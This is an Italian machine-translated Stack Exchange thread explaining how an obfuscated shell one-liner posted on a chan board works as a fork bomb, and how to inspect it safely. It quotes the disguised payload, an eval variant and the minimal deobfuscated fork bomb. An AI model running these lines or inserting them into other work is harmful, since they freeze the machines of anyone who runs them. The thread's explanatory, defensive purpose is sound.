Come e perché questa stringa di testo è una bomba a forcella?


132

Trovato su una scheda Chan casuale:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

In qualche modo eseguendo questo si traduce in un processo di generazione infinita che scorre sfrenato e fa fermare la macchina. Vedo qualcosa su "su" che tenta di essere eseguito più volte.

..questo è strano, perché mi aspetterei solo che il testo venga emesso, non l'esecuzione di nulla.

L'esecuzione di questo testo attraverso un decodificatore online mi dà solo una serie di spew binari:

risultato uudecode

Cosa sta realmente facendo questo casino di testo, e c'è un modo per vederlo "in sicurezza"?


Perché "su" viene eseguito più volte?
Brent Washburne,

34
Un consiglio: non eseguire il codice da una bacheca casuale ed essere grato che fosse solo una bomba.
r-

21
Eh. Per fortuna ero su una macchina virtuale istantanea creata allo scopo esplicito di giocare con immondizia forse ostile come questa.
Mikey TK,


1
Vidar Holen, l'autore di shellcheck.net, ha scritto un post sul blog in cui afferma di essere l'autore di questa bomba a forchetta e fornisce alcune informazioni di base.
Socowi,

Risposte:


194

Innanzitutto, diamo un'occhiata all'intero comando:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Contiene una stringa tra virgolette doppie che viene ripetuta uudecode. Tuttavia, nota che, all'interno della stringa tra virgolette doppie c'è una stringa tra virgolette . Questa stringa viene eseguita . La stringa è:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Se guardiamo cosa c'è dentro, vediamo tre comandi:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Eseguendo l' espansione del controvento sul comando centrale, abbiamo:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

La prima riga tenta di eseguire un comando senza senso in background. Questo non è importante.

La seconda riga è importante: definisce una funzione rche, una volta eseguita, avvia due copie di se stessa. Ognuna di quelle copie avrebbe ovviamente lanciato altre due copie. E così via.

La terza linea corre r, avviando la bomba a forcella.

Il resto del codice, al di fuori della stringa tra virgolette, non ha senso per l'offuscamento.

Come eseguire il comando in modo sicuro

Questo codice può essere eseguito in modo sicuro se impostiamo un limite al livello di annidamento delle funzioni. Questo può essere fatto con la FUNCNESTvariabile di bash . Qui, lo impostiamo su 2e questo interrompe la ricorsione:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

I messaggi di errore sopra mostrano che (a) i comandi senza senso rYWdle Y29jnon sono stati trovati, (b) la bomba a forcella viene ripetutamente fermata da FUNCNEST, e (c) l'uscita di echonon inizia con begine, di conseguenza, non è un input valido per uudecode.

La bomba a forcella nella sua forma più semplice

Come sarebbe la bomba a forcella se rimuovessimo l'oscuramento? Come suggeriscono njzk2 e gerrit, sarebbe simile a:

echo "`r()(r&r);r`"

Possiamo semplificarlo ulteriormente:

r()(r&r); r

Ciò consiste in due affermazioni: una definisce la funzione fork-bomb re la seconda parte r.

Tutto l'altro codice, incluso il pipe to uudecode, era lì solo per oscuramento e errata direzione.

La forma originale aveva ancora un altro livello di direzione errata

L'OP ha fornito un collegamento alla discussione del chann board in cui è apparso questo codice. Come presentato lì, il codice sembrava:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Si noti uno dei primi commenti su questo codice:

Mi sono innamorato di questo. Ho copiato solo la parte che riecheggia e decodifica, ma è stata ancora biforcuta

Nel modulo sul tabellone, si potrebbe ingenuamente pensare che il problema sarebbe la evaldichiarazione che opera sull'output di uudecode. Ciò porterebbe a pensare che la rimozione evalavrebbe risolto il problema. Come abbiamo visto sopra, questo è falso e pericolosamente così.


6
Devious! Non ho mai pensato di prendere in considerazione il gorgoglio / espansione della shell nel mezzo della stringa eco.
Mikey TK,

31
Penso che sarebbe bello notare che uudecodequi è del tutto irrilevante. Per un momento ho pensato di uudecodeeseguire un'interpolazione di stringhe tra virgolette che lo renderebbe fondamentalmente insicuro, ma la bomba a forcella si verifica prima che inizi il codice udito.
Gerrit,

28
... e questo , signore e signori, è per questo che la sicurezza negli script di shell è così dannatamente dura. Anche cose dall'aspetto totalmente innocuo possono ucciderti. (Immagina se questo fosse l'input dell'utente da qualche parte ...)
MathematicalOrchid,

22
@MathematicalOrchid In realtà ci vuole uno sforzo non banale per far eseguire gli elementi backquoted nell'input dell'utente a uno script della shell. E se stai costruendo uno script shell dall'input dell'utente, dovresti saperlo meglio di metterlo tra virgolette doppie.
Casuale 832

5
@ njzk2 Hai ancora bisogno di un &lì: echo "`r()(r&r);r`".
Gerrit,

10

Per rispondere alla seconda parte della tua domanda:

... c'è un modo per vederlo "in sicurezza"?

Per disinnescare questa stringa, sostituire le doppie virgolette esterne con virgolette singole e sfuggire alle virgolette singole presenti all'interno della stringa. In questo modo, la shell non eseguirà alcun codice e in realtà stai passando tutto direttamente a uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Altre alternative sono indicate nei commenti:

Kasperd ha suggerito :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall ha suggerito di usare un editor di testo, incollare il contenuto, quindi passare quel file a uudecode.


5
In alternativa: digitare uudecodesulla riga di comando. Premere Invio. Copia e incolla la stringa da decodificare.
Kasperd,

3
Un'altra alternativa: utilizzare un editor di testo per salvare i contenuti in un file. Apri quel file con uudecode.
Jacob Krall,

Grazie ad entrambi, ho notato quelle alternative nella risposta.
Gerrit,

1
Assicurati di controllare che la stringa non sia la echo "foo`die`bar'`die`'baz"prima! Cioè, se contiene qualche 's, la sostituzione delle virgolette con virgolette singole non sarà sufficiente.
wchargin,

5

A prima vista, potresti pensare che l' output sulla shell non verrà mai eseguito . Questo è ancora vero . Il problema è già nell'input . Il trucco principale qui è ciò che i programmatori chiamano precedenza dell'operatore . Questo è l'ordine in cui la shell tenta di elaborare l'input:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Comporre la stringa eseguendo tutti i comandi backtick al suo interno.
  2. Di solito un comando sconosciuto, che causerebbe un output come Se 'rYWdl' non è un errore di battitura, è possibile utilizzare il comando non trovato per cercare il pacchetto che lo contiene ... (dipende dal sistema)
  3. Esegue 2. in background. Non vedrai mai un output.
  4. Definire la funzione bomba a forcella.
  5. Separatore di comandi.
  6. Esegui la bomba a forcella.
  7. Inserisci il risultato di 6. nella stringa. (Non siamo mai venuti qui.)

L'errore è pensare che echosarebbe il primo comando da eseguire, uudecodeil secondo. Entrambi non saranno mai raggiunti.

Conclusione: le doppie virgolette sono sempre pericolose sulla shell.

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.